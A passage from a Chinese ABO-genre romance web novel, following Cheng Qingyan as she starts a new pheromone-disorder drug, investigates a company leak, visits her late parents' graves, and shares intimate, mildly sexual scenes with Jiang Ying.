上班的路上,程卿言坐在车里,下单了几盒指|套。 她不爱自己动手,嫌累,之前大部分时候都是用的科技,因此家里没有这玩意,得买一些备着了。 到了公司,开完会后她去了一趟余简予的办公室,说了特效药的事。 余简予傻了几秒,有些不敢相信,以为她听错了。 程卿言再说了一遍。 余简予狂喜,喜极而泣,扯纸巾坐在沙发上哭了一小会儿:“我这是开心,你不准笑话我!” 程卿言嗯了一声,安慰道:“我昨晚也哭了。” 余简予吸了吸鼻子,红着眼睛看她:“真的?” 程卿言点头:“真的。” 原来大家都一样,余简予很快缓了过来,问道:“姜映不是在你家嘛,她知道这些事吗?” 程卿言说:“我还没告诉她。” 余简予:“那你什么时候说?” 程卿言:“等我好了之后再告诉她。” 特效药需要服用三个疗程,也就是三个周,三周之后就会有明显的好转,腺体会恢复到正常omega的水平,而后再服用一到两月的药进行稳固,就能彻底康复了。 昨天孙影在电话里给她说的很清楚。 余简予有些急:“那你怎么还不去找孙阿姨,跑来公司干嘛?” 程卿言:“要上班,我中午过去。” 余简予扶额:“大小姐你现在去可以吗,算我求你了,工作交给我,我来处理。” “真的?” “真的。” “算了,不急这几个小时。” 余简予:…… 程卿言回了自己的办公室,在微信上和姜映聊了几分钟,就开始工作了。 她没有待到中午,十一点出头时就离开了公司,何助开车,送她去了腺体研究所。 特效药研发成功的消息还没对外公布,研究所依旧比较安静,但是进去后,程卿言明显能感觉到氛围不同了。 研究员脸上的笑容,以及轻快的步伐,在从前时看不见的,从前都是一本正经的愁容样。 去了孙影的办公室,孙影脸上的笑容也很明显,难题攻克后,人看起来都年轻了好几岁。 她拉着程卿言坐下,先给她看了试药志愿者的检查报告,腺体每一项数据都恢复了正常。 孙影说:“卿言啊,终于等到这一天了。” 为此付出了几十年的时间,每一天都是在实验室度过,吃住都是在研究所,头发都白了一大半。 信息素紊乱患者过得辛苦,为此努力的科研人员也过得很辛苦,在确定成功那一刻,没有人能保持淡定,激动得留下了眼泪。 程卿言由衷道:“恭喜您。” 孙影笑了一声,眼眸里闪烁着泪花,缓了片刻,起身给她拿了药,再次详细地给她说了服用方法,以及注意事项。 “还有,你的体能药可以慢慢停下了,不用继续服用了。” 程卿言认真地将她的话记在了心里,想了想问道:“服用特效药期间,需要戒欲吗?” 孙影没有特意嘱咐她这一点,自然是不需要,笑着看了她一眼,但还是提醒:“服药的第一周还是得控制一下,第二周开始就可以让alpha提供一下信息素,循序渐进刺激一下腺体,让腺体活跃起来。” 总而言之,在服用特效药期间,想做什么都可以,只要别太过就行了,毕竟身体还没彻底恢复,若是太累了,容易困乏。 程卿言点头:“我知道了。” 孙影明日会离开碚城,飞去国外交流技术,分享经验,一个月之后才会回来,因此这段时间她不会在研究所,她握着她的手道:“你得好好的,服药期间如果有疑惑,一定得告诉我。” 聊完了特效药的事,孙影又聊到了生活,问了程卿言喜欢的alpha人品怎么样,性格如何,等她回来,她一定得带人来正式见见。 这些轻松的话题在从前根本没有时间和心思去聊,只有此刻,守得云开见月明,她们才会谈这些。 没有在意时间,聊了很久。 在此期间,特效药研发成功的消息也按计划准时在十二点对社会公布了,消息一出,震惊大众,直接霸屏了热搜,出现的词条全和特效药有关。 很多人都不敢相信,以为是营销号在造谣- 假的吧,之前营销号就传过很多次了,没一次是真的- 肯定是真的,国医局都发通知了,这可是官方,官方的消息哪能有假- 真真真的不能再真,我朋友的朋友就是信息素紊乱患者,她自愿报名参与了试药,她已经康复了!!试药期间是她签了保密协议的,一直不能对外说,现在官方发通知了,她才告诉我们的,她下午请客庆祝!!- 太好了,这一天终于来了,可惜我女朋友没等到,如果她还在的话,一定也会很开心- 楼上节哀- 我从前没了解过这个病,这么难治疗吗?- 很难,属于腺体基因缺陷类的疾病,楼上可以去看看国医局发的科普,上面写的很清楚- alph息素无能也是腺体基因缺陷,好像在三十多年前就攻克了,已经归类为普通病症了,omeg息素紊乱的进展怎么慢了这么多年啊?- 楼上的年龄是不是很小,不知道程颐团队?- 程颐是谁?- 不是,真有人不知道程颐啊,信息素无能就是她的团队攻克的,天才中的天才,那会儿她还不到三十- 这么厉害,这些年为什么没听说过她- 因为她二十多年前就去世了- 可惜啊,天妒英才- 有人知道她是怎么去世的吗?- 我知道!我妈是腺体科的医生,她从前提过,好像是实验室爆炸了,意外身亡的- 楼上说的没错,就是实验室爆炸,医学界不缺天才,但像程颐这种天才中的天才,真的很少,当年可是出了三个,可惜在那场事故中都不在了- 程颐团队一共有五个人,去世的这三位是最厉害的,当然最最厉害的人是程颐,她是团队核心- 啊,活着的那两位呢?- 依旧在腺体研究所工作啊,这次治疗信息素紊乱的特效药就是这两位大佬带队研发的- 五个死了三个?不会是有什么阴谋吧- 楼上应该是悬疑故事看多了哈哈哈,碚城程氏集团大家都知道吧,真正的豪门世家,程颐就是程氏掌权人的大女儿,而且程颐的妻子也死在了事故中,女儿女儿媳都不在了,若是真有什么阴谋,程家肯定会调查的,没人能跑到,应该就是实验事故- 死了三个,一个是程颐,一个是程颐的妻子洛泠,还有一个是谁?- 对呀,还有一个是谁?- 楼上的事事通快继续讲讲- 我来,我也听说过这个事,还有一位好像姓袁,名字记不清了,程颐洛泠是因为程家的缘故,和豪门有关系,大家爱八卦,才记得这么清楚的- 不是,你们说的这些是不是真的啊,刚才我去查了下关键词,全网都搜不到这些事,这是怎么回事?- 二十多年前的事了,当时网络没那么发达,很多人都不清楚的,而且程家当年应该也干预了,不让到处传,所以网上没留下什么记录- 为什么不让传- 这还不简单,程颐洛泠不在了,我们这些陌生人都会觉得很可惜,更何况是程家的人,伤心事反复被提及,肯定会难受- 也对,唉,如果程颐还活着,信息素紊乱可能早就被攻克了,哪里需要这么多年,这谁看了不觉得惋惜啊- 不过特效药能研发成功,就已经很好了,感谢为此付出的所有科研人员!- 感谢科研人员,辛苦了辛苦了! …… 车外人影晃过,何助放下手机,快速抬眸,下车给程卿言拉开后排座的车门,待对方坐上车后,她问道:“程总,是回公司吗?” 程卿言嗯了一声,闭上眼睛休息了会儿,十分钟后才睁开眼。 十一点半到的研究所,这会儿已经一点二十了,一直在和孙影聊天,没有看微信消息,姜映给她发了几条。 姜映:【姐姐你吃午饭了没?】 姜映:【院子里有块空地,我记得之前种的是竹子,要不要重新种一点?】 姜映:【柚柚打了丸子一下,拉面瞧见了,主动把头送到柚柚面前,也让柚柚打它,柚柚不想动爪子了,就没理它,然后它跑去打丸子了】 两条傻狗。 程卿言嘴角扬起,瞧见这条消息时,轻笑一声。 拉面丸子是她养大的,平时也和她相处得比较多,怎么性子一点也不想她,反而更像姜映,柚柚倒是比较像她。 程卿言赐姓,以后柚柚就叫程柚柚了。 拉面丸子改为,姜拉面,姜丸子。 程卿言回复消息:【中午有点事要处理,还没吃饭,过会儿就吃,院子那块空地,你想怎么用就怎么用,随便种什么都可以】 姜映秒回:【我知道了,你快去吃饭】 程卿言和她闲聊着,到了公司才放下手机,去了食堂吃饭。 饭后回了办公室。 程卿言接了杯温水,瞧着手里的药丸呼了口气,吃了第一顿特效药,而后回了休息室睡了半个小时。 没什么困意,只是想躺一躺,指腹轻轻抚着脖子上的腺体。 自从腺体进入了萎缩期,渐渐失去活力,就没跳动过了,这段时间她只用过一次抑制剂,没有接触过alpha的信息素,也没有渴望过alpha的信息素。 她已经有点忘记了姜映的信息素注入进去时是什么感觉。 愉悦畅快? 程卿言闭上眼睛回忆片刻,应该是舒服的。 毕竟她那么喜欢女生信息素的味道,即使这段时间她闻见女生信息素的味道,腺体也不会产生任何反应,她依旧喜欢。 喜欢一切和青竹有关的东西。 好在用不了多久,她就会恢复。 只是很可惜,姜映感受不到她的信息素,即使吃再多的樱桃,那也不是她的味道。 程卿言眉心拧了拧,对此有些遗憾。 她喜欢的人,永远也闻不见她的信息素。 躺了半个小时,程卿言起床后简单洗了澡,换了件没有褶皱的衬衫,回了办公室继续工作。 期间余简予来了一趟,如获至宝一般,拿起一颗特效药捧在手心,打量了好一会儿,兴奋地问她感觉好点了没。 程卿言摇头笑她,才吃了一次,哪能那么快奇效,至少得一个周才能感受到作用。 余简予离开后,秦助理进来了,递给她一份文件,里面是港城烟花秀的初步调查结果。 程卿言认真地翻看着。 申请投放烟花秀的是一家国外的企业,和港城陆家没有任何关系,这家企业在国外很厉害,百年家族,但在国内的投资比较少,和陆家没有合作过,和程氏也没有合作过。 将这些线索发给云秋染,其实已经可以打消云秋染的胡思乱想了,只不过…… 程卿言眸光一凝,瞧见了这家企业在碚城的一处投资上,云秋染前两年搬进的新别墅区就是这家企业建造的。 是巧合吗? 那块别墅区的环境不是碚城最好的,安保是最好的,也以此出名,先有别墅区,云秋染后来才搬进去的。 程卿言心里更偏向于巧合,但也不能完全肯定,朋友拜托的事情不能马虎,于是暂时没将调查结果发给云秋染。 恰好今年这家外企在碚城的分部会举办周年宴会,调查说负责那块别墅区建造的大老板很有可能会过来,给碚城各大公司都发了邀请函,程氏也在其中。 若没有云秋染的事,程卿言不会亲自去,程氏任意一位高层过去就行了,但这会儿她改了主意,若是有必要,她到时候亲自去一趟。 这事不着急,可以慢慢查。 她心里认定陆枫已经不在了,如此细致的调查,只是想让云秋染彻底走出来,日后不再胡思乱想了。 傍晚。 临近下班。 姜映给她发了消息:【姐姐,院门的货架上有一个快递,是你买的东西吗?】 程卿言查了一下短信,是她早上下单的指|套到了:【我买的,你拿进去吧】 姜映:【好的,需要我拆开吗?】 程卿言挑眉:【拆】 算着时间,两分钟后她主动问:【瞧见是什么没?】 姜映:【瞧见了】 程卿言:【还记得是什么吗?】 姜映:【嗯】 程卿言嘴角扬起:【挑一种你喜欢的味道,等我回来】 第79章 洗澡 洗澡 第七十九章 姜映是在客厅拆的快递盒子。 柚柚和拉面丸子好奇心重,又喜欢玩,一起跑过来围着,看着她拆快递。 快递盒子包装精美,不是她买的东西,她也没去深里面是何物。 瞧见时,她眼眸颤了几下,深深呼了一口气。 姜映记性很好,知晓女人买的东西是用来做什么的。上次元旦假期在云县酒店里,女人告诉过她。 指|套。 “喵~” “呜呜呜~” 三只毛茸茸整齐划一,将头探进箱子里。 姜映随即回神,下意识捂住它们的眼睛。 孩子还小,不能看这些。 一人难敌三只,她只有两手,根本捂不住,姜映有些手忙脚乱,片刻后智商才恢复过来,起身,直接将盒子抱起来,三只就瞧不见了。 手机响了几声,她回复了女人消息,最后女人让她挑一种喜欢的味道,等着她回来。 姜映颤睫,指尖轻轻颤了颤。 已经做好了晚饭,依旧是煲汤,等着女人回来吃。 * 程卿言没买过这些,只是常识比较丰富,知道用途,她也不知道哪一种用起来体验感比较好,因此各种味道和款式都买了一些。 姜映那性子,会喜欢哪一种? 回来的路上她在想这件事。 进屋后,alpha先抱了她一会儿,而后蹲下给她换鞋,牵着她去洗了手,程卿言享受着她的服务,吃完晚饭,坐在沙发上打开电脑处理了会儿工作。 alpha收拾好厨房出来,走到她身旁坐下,安安静静地等着她。 十分钟后,程卿言关上电脑,侧头吻了吻她的唇。 姜映呼吸快了许多,问道:“忙完了吗?” 程卿言指尖绕了绕女生的发尾:“差不多了。” 姜映揽着女人的腰肢,主动吻了过去,手也有些不老实,慢慢探进了女人的衬衫下摆,上寻,咔哒几声响,女人的心跳落在了她掌心的纹路上。 程卿言眉心颤动,心跳如有实质,化形跳动着。 几分钟后心跳才恢复自由,慢慢平复下来。 姜映红着眼尾看着她。 程卿言呼了几口气,笑着哼了一声,捏住她的下巴:“想?” 姜映老实承认:“想姐姐。” 程卿言在她下巴上吻了一下:“挑好喜欢的了?” “没有。” “嗯?” “可以都试试吗?”姜映在女人耳边询问着,呼出的气息很热。 都? 如此大一盒。 她可吃不消。 都试试,她觉得她会脱水。 程卿言嗔了她一眼,这个精力旺盛,且贪心的坏家伙:“姜映。” 姜映眨眨眼:“怎么了?” 程卿言在她耳垂上咬了一口,幽幽道:“你是不是想**我?” 很直白,用词也不太文雅,alpha的耳朵瞬间红了起来,不知是被她咬红的,还是听红的。 alpha小声解释,以证清白:“不会的,我不会这样。” 在说“不会”的时候,如果手安分些,不乱动起来,程卿言可能就相信她了, 女生又开始吻她,程卿言在察觉到她想碰哪时,才出手拉着她的手腕,呼吸声断断续续:“不行。” “为什么?”姜映额头上覆上了薄汗,她能感受到女人是想的,如果不想,不会如此逗弄她。 程卿言说:“我生理期。” 所以下午在休息室才会洗澡换衣服,经期到了。 姜映抿唇,脸埋在了女人脖子上,深深呼吸着,平复着体内的热意。 程卿言,真坏,故意的。 她在心口骂了几句,和以往一样,骂了之后又会补一句,不该骂程卿言,对不起。 静了几息才抬头,开口道:“好吧。” 程卿言笑了一声,在她脸上亲了几下:“生气了?” 姜映摇头:“没有。” 真是脾气好的alpha,这样逗都不生气。 程卿言心里很好奇对方生气时是什么样子的,瞧着对方额头上的汗,柔柔哄着:“经期结束了再来。” 五到六天结束,结束时她差不多服用了一个周的特效药,她的状况会好很多,腺体在慢慢恢复,也能够接受标记。 姜映嗯了一声,抱了一会儿,关心道:“你肚子会不会疼?” 程卿言说:“不疼,就是有一点点不舒服,酸酸胀胀的。” 姜映想了想,觉得应该是方才那些亲密行为刺激到女人了,正经道:“下次不能这样了。” 女人逗她是小事,她不介意,但是在这个过程中,女人自己也会不舒服,会比她更难受,她不赞成这样的做法。 这是在凶她吗? 瞧着毫无杀伤力。 “我知道了。”程卿言嘴角扬了扬,觉得女生一本正经的表情很可爱,心有些痒,欠身过去亲女生的嘴唇,没有碰到,女生直接躲开了。 姜映不仅躲开了,还快速给她整理好衣服,道:“程卿言你不要闹。” 程卿言:??? 又叫她大名。 她抬脚踢在alpha腰上,声音危险:“叫我什么?” 姜映改口:“姐姐。” 这还差不多,程卿言满意地点了点头,不闹就不闹,她也有点累了,拿起遥控器按到上次看的那档综艺,继续看下去。 姜映对这些不感兴趣,女人的头枕在她腿上,柚柚躺在女人脚边,拉面丸子趴在地上守着她们。 时光静静流淌,她颤了颤眼睫,很喜欢此刻的氛围,爱看此刻的画面。 心里冒出一种“本该如此”的感觉。 * 姜映的愈合能力太强,受伤不到十天,额头上的伤口已经恢复得七七八八了,快到让人惊叹的地步。 她提前去医院拆了线,因为伤口太深,额头上留下了一道浅浅的疤痕。 医生给她开了祛疤药膏,让她每日坚持涂抹,疤痕应该会消失的。 程卿言也对她说,即使最后留疤了也不用担心,现在的医美技术很成熟了,疤痕很容易去掉。 因为在额头上,位置明显,大家都担心她会难过。 姜映对此没太大感觉,暂且不说以她的体质最后这道疤痕一定会消失,假如真的留疤了,只要程卿言不嫌弃,她就不介意。 拆线那晚她问了女人,会不会觉得她难看了。 程卿言没有说话,轻轻地吻在她额头的疤痕上,很轻很轻,没有嫌弃,只有心疼,心疼女生因为她而受了伤。 她的吻慢慢下落,从额头到眼睛,鼻梁,刚吻到嘴角,alpha直接躲开,往后退了几步。 程卿言疑惑地看着她:“你在干嘛?” 姜映说:“你经期还没结束。” 别亲密,不然女人小腹会不舒服了,她会严格监督女人。 程卿言剜了她一眼:…… alpha即使开窍了,变成了又色又纯的坏东西 ,骨子里的底色还是改不了的——有原则有底线,在重要的事情上会坚持自己的观点。 哎。 程卿言在心里叹了口气,有些后悔那晚玩得太过了。 这几日彻底戒了欲,过得健康清淡。 早睡早起,修身养性,每晚吃得也不错,不知道是不是特效药也开始发挥作用了,即使不吃体能药,程卿言觉得她的精力也挺不不错的。 在公司时,余简予细细看了她几眼,也说:“你这几天的气色真不错。” 程卿言扬了下唇,炫耀道:“姜映照顾得好。” 余简予羡慕,只要足够喜欢,年纪小也会疼人,还特别疼:“我也想谈恋爱了。” 程卿言纠正:“我和她还没开始谈恋爱。” 余简予切了一声:“就你们这黏糊样,和谈了有什么区别。” 程卿言想了想,从感情上来说,确实和谈了没有任何区别,但是行为上还是有不同的。 比如她们不会干涉对方的任何隐私,她没有翻过姜映的手机,没有叫姜映女朋友或是老婆这类称呼,而且她还有很多重要的事情没告诉姜映。 如果她们已经确定了情侣关系,她就不能如此隐瞒了。 但是程卿言想等一等,等她信息素紊乱好了,她什么也不用畏惧,没有后顾之忧了,再确定关系也不迟。 而且也不用等很久了,一个月之内肯定能解决所有事情。 程卿言说:“我不着急。” 余简予问:“那你打算什么时候提,你生日的时候?” “我生日在三月去了,”程卿言等不了那会儿才确定情侣关系,她想了想道,“要不我三月和她结婚,你觉得怎么样?” 确定妻妻关系倒是不错。 余简予正在喝水,差点呛着,咳了好一阵,惊讶地看着她:“结,结婚?” 程卿言点头:“不行吗?” 不是,程大小姐你不是不急嘛,怎么突然提结婚。 余简予说:“姜映还没满二十一啊,她大学都没毕业,就结婚是不是太早了点?” 程卿言笑了一声:“我开玩笑的。” 余简予放下杯子,问:“姜映这几天还在休息吗?” 程卿言说:“昨天额头拆了线她自己就跑回研究院上班。” 研究院那边工作虽然繁忙,但是挺有人情味,考虑到姜映的伤是在头上,即使好得差不多了,也不会让她加班,晚上和周末都不准加。 不是“不用”,而是“不准”。 不会给姜映分很多工作。 这种工作节奏,完全不会牺牲她们的相处时间。 余简予感慨:“居然有人这么爱上班。” “她热爱她的事业。”程卿言很欣赏这种品质,为选择的事情奋斗拼搏,她也是这种人。 闲聊了几句,回到办公室后,余简予就开始说正事了,稻村的事情已经告一段落,住户们已经签了合同,程氏也向社会召开了发布会,以证清白,挽回了名誉,但并不代表这件事彻底解决。 泄露拆迁机密文件的人是谁得揪出来,余简予近期一直在调查这件事,此刻说了她掌握的线索,程卿言神色逐渐严肃,眉心拧了起来。 在公司能接触到这份文件的人在个位数,范围很小,之前程卿言只是怀疑,此刻已经能确定问题出在谁身上了。 氛围一时间凝固了,余简予问道:“下一步你是怎么打算的?” 程卿言指尖点着杯眼,思索片刻道:“暂时先不动。” 可以让公司内部的相关人员知道她们在调查这件事,但是结果还没出来,还在调查中,大家得配合调查。 余简予知道她的意图了,是希望泄密者主动来坦白,不想将事情做绝:“行,那我去安排了。” 程卿言应好,目送她离开。 办公室的门合上,青竹香氛絮饶鼻尖。 泄露机密的人到底图什么。 程卿言对此感到困惑,想不明白,安静地坐在椅子上思索着,手机响了一声,她才回神,拿起手机看了一眼,神色不由自主柔和。 姜映:【姐姐我下班了】 程卿言瞧了眼屏幕又上角的时间,下午五点零六分,女生正常下班时间在六点,她问道:【今天这么早?】 姜映说:【今天事比较少,大家也不让我加班,可以早点走】 程卿言:【要来接我下班吗?】 姜映:【可以吗,会不会影响你?】 程卿言嘴角扬了一下:【你到了之后在旁边的咖啡厅等我】 姜映:【好,那我出发了】 程卿言心情愉悦,收了收心绪继续工作。 六点出头那会儿,女生发消息说她到了,她关上电脑,乘电梯下楼,开车离开了公司,停在咖啡厅附近。 姜映快速上车,含笑看着她,轻轻抱了她一会儿。 若是秦助理不在车里,她会直接吻上去:“累不累?” 程卿言脸颊蹭了蹭她的脖子:“今天还好,你呢?” “我也不累,”姜映松开她,“你饿了没?” 程卿言嗯了一声,有些饿了。 前几日一直是姜映做饭,今夜不在家吃,她带女生去了一家她很喜欢的西餐厅吃了晚餐。 餐厅夜景不错,在露台上欣赏了会儿风景。 程卿言包了场,四周无人,alpha从身后抱着她,她道:“顶楼有蹦极项目。” 姜映询问:“你想玩?” 程卿言说:“一般,以后可以试试。” 她以前有一阵很想玩,但她的身体条件不支持她玩这种刺激的项目,会影响腺体的稳定,所以一直没去试过。 姜映说:“可以双人跳吗,我和你一起。” 程卿言转身看着女生青涩的脸庞,挑眉笑了一声,小姑娘跳楼也要陪她一起,这么黏人啊。 “你不害怕吗?” “不知道,我没玩过,”姜映再次抱住她,“不过只要能在你身边,无论做什么我都不会害怕。” 坏东西又在一本正经说情话了,虽是情话,但也是真话,她相信她说到做到。 程卿言心口颤动,想到了女生在稻村为了救她而受伤的事,抬头碰了碰她额头上疤痕,柔声道:“姜映。” 姜映:“嗯?” 程卿言在她耳边说:“你也要爱自己。” 女生也不知道听进去没,只是嗯了一声,程卿言拿她没办法,揉了揉女生的后脑勺,静静地抱了一会儿,缓缓道:“明天是我双亲的忌日,我得回去祭拜,期间不能碰手机,回不了你消息,晚上得在老宅子留宿,就不会家了。” “我知道了,我会照顾好柚柚和拉面丸子。”姜映说。 程卿言捏了捏女生的脸:“你别太惯着它们。” 姜映疑惑:“我有惯着它们吗?” 程卿言肯定道:“有。” “那我改一改。” “能改掉?” “可以吧,拉面丸子不是你。” 程卿言没明是什么意思:“嗯?” 姜映补充:“我得惯着你,我改不了。” 她说了这话,耳根子红了起来,太直白的话说起来还是会不好意思。 程卿言瞧着她这模样,笑了一声。 这坏家伙只有在床上弄她的时候,才不会害羞,什么羞耻夸人的话都说得出口。 以后年纪再大一些,会变成什么样,她很期待。 她很期待她们的未来。 * 次日。 阴转小雨。 工作日,程卿言没有去公司,早早地回了程家老宅等候着。 老宅的大厅寂静,无人说话,氛围凝重。 待程老太太从楼上下来后,程卿言和程笠起身,恭敬地打了招呼。 “走吧。” 老太太穿得很正式,化了淡妆,脸上的疲惫悲伤却无法掩饰。 每年今日,程颐和洛泠的忌日,老太太的精神状态都很糟糕,程家直系人口不多,今年老二程深绩又受了处罚,老二子女也被禁止去墓园,因此去的人格外少。 天空暗沉,细雨飘洒,无人撑伞。 雨落肩头,鞠躬怀念祭拜。 程卿言看着墓碑上她双亲的黑白照片,她的样貌遗传了她们的优点,长得很像,几乎是一个模子刻出来的。 所以老太太在这些年会时不时瞧着她的脸发愣,她知道老太太不是在看她,而是透过她怀念亡人。 程老太太既想亲近她,又在厌恶她。 程卿言轻轻呼了一口气,眸光从照片上移开,她说不上来她对程颐洛泠是什么感情。 悲伤怀念? 或许有一点点,但是不多,她对她们的情绪比较复杂,更多是怨恨。 怨恨她们在她那么小的时候就带着她一起去了研究所,却不关心她。 没有任何时间陪伴她,却又要将她留在那里,让她的每一天都在孤独寂静中度过。 当时她年纪太小了,根本记不清事,可时至今日,她还是忘不掉那片入目的白,以及刺鼻的消毒水味。 既然不在乎她,那为什么在实验室爆炸的时候救她,将生存的机会留给她。 因为愧疚? 程卿言不屑,甚至是厌恶这种做法,她们凭什么替她做决定。 雨越下越大,淋湿的衣服。 管家担心老太太的身体扛不住,急忙送来了雨伞,撑了起来。 老太太没拒绝,片刻后开口道:“你们先离开,我自己在这里待会儿。” 程卿言和程笠应好,撑着伞回到了车里,司机将她们送回了老宅,不能离开,得等着老太太回来。 天色渐渐暗沉,安静地吃了晚餐,一起坐在客厅看了程颐洛泠当年的采访合集,两个小时过去,才各自上楼休息。 程卿言回了房间,关上门后她没去洗漱,也没坐下休息,靠着门沿站着。 去墓园祭拜,回家吃饭,看采访剪辑,再在老宅留宿,每年的流程都是这样。 每年餐桌上的菜都是固定不变的,复刻了二十多年程颐洛泠在老宅吃的最后一顿饭。 这是老太太定下的规矩,就是为了让大家记住她的双亲,尤其是她,不能遗忘。 程卿言静默着,听着窗外的雨声,感受着令她感受窒息的房间布局,对此厌烦到了极致。 房间里没开灯,手机屏幕是唯一的光源。 程卿言垂着哞,瞧着屏幕上的消息。 姜映:【姐姐你忙完了早点休息】 姜映:【我傍晚在院子里那块空地上种了一小片竹子,和你之前种的品种不一样,你明天回来就能看见了】 程卿言没回复,关掉手机,闭了闭眼又睁开,开门下楼去了车库,直接开车离开了老宅。 车灯渐远,消失在黑夜中。 管家关上窗,走到老太太旁边,道:“小小姐驾车离开了。” 程老太太翻看相册的手顿了顿,片刻后苍老的声音响起:“随她吧。” 相册翻到最后一页,是一张年份已久的合照,那年程颐才二十多岁,便带领她的团队研发出了治疗alph息素无能的强化剂,青春年少,意气风发,左手抱着洛泠的腰肢,右手搭在袁喆肩膀上,站在人群中间,在研究所拍下了这张照片。 程颐很喜欢这张照片,很有纪念意义,因此老太太才没破坏这张照片的完整度,才没将她痛恨的人裁剪掉。 实验室爆炸,一场爆炸带着她最在意的孩子。 她该恨谁。 罪魁祸首也死在了爆炸中,恨天道不公,恨活下来的程卿言? 她不该恨程卿言,是程颐选择救程卿言,才重新冲进了实验室。 她心里知道这件事和程卿言没关系,可是她无法接受程颐的死亡,最疼爱的女儿和孙女之间,她无疑会选择女儿。 恨意让她扭曲,让她对程卿言的情感很矛盾。 程老太太关上相册,开口道:“你把卿言养在家里的alpha的资料拿来给我看看。” 她得看看,她教育出来的人会喜欢什么人。 * 程家老宅没有在市中心,距离月泊林比较远。 夜里下起了大雨,视线很差,车速慢,将近两个小时,程卿言才到了家,卡宴停在了院子里。 她还没下车,客厅大门打开了,她瞧见姜映撑着伞,朝着她小跑过来。 在女生到了车门旁边时,程卿言拉开车门,下车抱住了女生的腰,脸颊埋在女生肩膀上,闻着她令她安心的味道。 姜映一手撑伞,一手抱着女生的腰,轻轻拍了拍她的背,她什么也没问,只是安抚。 程卿言声音有些哑:“姜映。” 姜映回应:“我在。” 程卿言抬眸看着女生,正经问道:“能保证永远陪着我吗?” 姜映颤睫,诚挚道:“如果可以,我永远也不离开你。” 她比谁都想留在女人身边。 程卿言笑了一下,重新将脸埋在她肩膀上。 雨太大了,即使有伞,衣服也淋湿了一大半。 姜映身体好,淋点雨没有大碍,她担心女人会感冒,她道:“我们先进屋好不好?” 程卿言牵着她的手,和她一起进了室内。 姜映给她换了鞋,而后道:“你快去洗澡。” 程卿言瞧着女生湿了一大半的衣服:“你不洗吗?” 姜映:“我也洗,我在客……” “一起。”程卿言看着她的眼睛,打断她。 一起洗澡,没有过的体验。 姜映滚了下喉咙,嗯了一声,主动弯腰抱起女人,走向浴室。 女人双手揽着她的脖子,嘴唇蹭着她的耳朵说:“今天可以了……” 第80章 宝宝 宝宝 第八十章 今日是服用特效药的第七天。 程卿言枯萎的腺体已经恢复了一点点活力,在alpha吻上去时,即使没有咬,没有注入信息素,她也感觉到腺体在轻轻颤动了。 很轻微,很小的颤幅。 如同荒漠里突然生长出来的绿苗,感受到它那刻时,程卿言心里说不上来是什么感觉,她只知道特效药真的起作用了,她在一天天好起来。 今夜她的情绪起伏其实不大,每年都有这么一天,沉闷烦躁,过往的糟糕记忆会不断在她脑子里回溯着,她已经习惯了。 如此过了二十多年,她早就习惯了。 习惯到她觉得她已经麻木了,但是她感觉错了,此刻她才发现,她并没有对此麻木,她是鲜活的。 姜映出现在她生活中,过去的糟糕,此刻的满足,形成了鲜明的对比,让她不由自主担心未来,未来会如何? 她希望未来是此刻的延续,心绪翻涌,所以在下车那会儿才会问女生未来会不会一直在她身边。 程卿言自己也挺震惊的,她居然会问出这种感性的话。 于她而言,一直觉得这种行为比较幼稚,心里明明清楚口头承诺其实没有太大的意义,但此刻她就是想听见姜映的回复。 她在问姜映要承诺。 好在她无论说什么,女生都会诚挚地回应她,无论她要求什么,女生都会尽力瞒着她。 洗完澡后,程卿言软绵绵趴在床上,alpha在她泛着粉的背脊上吻了一下,而后给她盖好被子,在她耳边说:“你先休息,我去收拾浴室。” 程卿言阖着眼睫,嗯了一声,声音又哑又软:“快点回来……” 姜映应好,迈着步子去了浴室。 浴室宽敞,水雾还未散去,沐浴露的花香和青竹香氛的味道混在一起,地砖上女人和她的衣服也混在了一起,东一件西一件丢得到处都是。 姜映是个喜欢收纳,爱好规整的人,她颤了颤眼睫,快速将丢在地上的东西捡起来。 在收拾的时候,也有些纳闷为什么会弄得这么乱,她和女人也没有做得太过分。 只是浅浅地来了两次。 一次是在淋浴头下,她给女人抹沐浴露的时候,女人背脊抵着水雾弥漫的墙面,她从上到下吻了她。 女人站不稳了,她又将她抱进了浴缸,再一次里里外外给女人洗了澡。 她觉得并不过分,姜映一点也不累,但女人累了,她贴心地没闹下去。 收拾好浴室,她快速洗了澡,穿上干净的睡袍,回了卧室。 姜映关了灯,上床躺着,将女人抱在了怀里,吻了吻她的额头:“睡吧。” 此刻已经不早了,马上一点半。 不是在浴室耽搁的太多时间,而是女人回来的太晚,回来那会儿已经凌晨了。 程卿言双亲的忌日。 姜映之前在网上查过,知晓程卿言的双亲在二十多年就离世了。 女人昨天告诉过她今晚会在老宅留宿,但却在半夜回来了,是因为什么? 姜映不清楚女人家里的事情,但在平时的相处中,大概能猜到女人和家里人的关系一般。 有些心疼,绵密的心疼在心口跳动着,可是她又无能为力。 姜映在想,她为什么不早一点和女人认识,早一点陪伴在女人身边,那样她就能多了解她一些,为她分忧。 可是她们之间相差了九岁,即使早几年碰见了,她也不可能和女人认识,毕竟她只是个小孩。 选择逃离时空局,来到这个世界,她为什么不能早几年来,如果早几年来,她可能就和程卿言一样大了,或许还能比程卿言大一点,她可以叫程卿言妹妹。 不过如果真的早几年出生,那她会是谁? 姜映不知道,她心里有种直觉,无论她是谁,她都会来到程卿言身边。 就像高考填志愿那会儿,她没有去对她而言是最好选择的东大,不听所有人的劝说,听从她内心的声音,坚定地来了碚大。 之前她一直想不明白,她当时为何会有不去碚城,她未来一定会后悔的直觉。 此刻她好像明白了,恍然大悟,如梦惊醒一般,为了遇见程卿言。 可是她不属于这个世界,程卿言也不是她的女主,她为什么会因为程卿言而出现那么多她无法解释的现象。 世界女主对于任务者的吸引? 无论任务者来自哪,都会碚吸引? 姜映对此感到疑惑,目前已知唯一能解答她困惑的方法就是回到时空局去调查。 但她既然逃离了,就不会回去,她得留在这是世界,留在女人身边。 她得留下。 * 清晨。 晨光熹微,玻璃窗上笼罩了一层白茫茫的水雾。 腰上一疼,姜映睁开眼,睡眼惺忪地看着女人,迷迷糊糊道:“怎么了?” 程卿言嗔了她一眼,又再女生腰上拧了一下,听着女生嘶了一声,她才松手,问道:“疼吗?” 姜映摇头:“不疼。” 程卿言:…… 真实又宠又坏的alpha。 姜映昨晚睡得太迟,因此比女人晚醒,不过这会儿已经清醒了,掌心动了动,愣住,脸颊微红,知晓女人为何拧她了。 “还不把手拿开?”程卿言没好气道。 这坏东西洗了澡之后,自己穿得整整齐齐,却什么都没给她穿,不仅如此,醒来那会儿她还发现这坏东西的手一上一下放着。 姜映滚了滚喉咙,翻身俯在她上方,眸光颤动:“姐姐……” 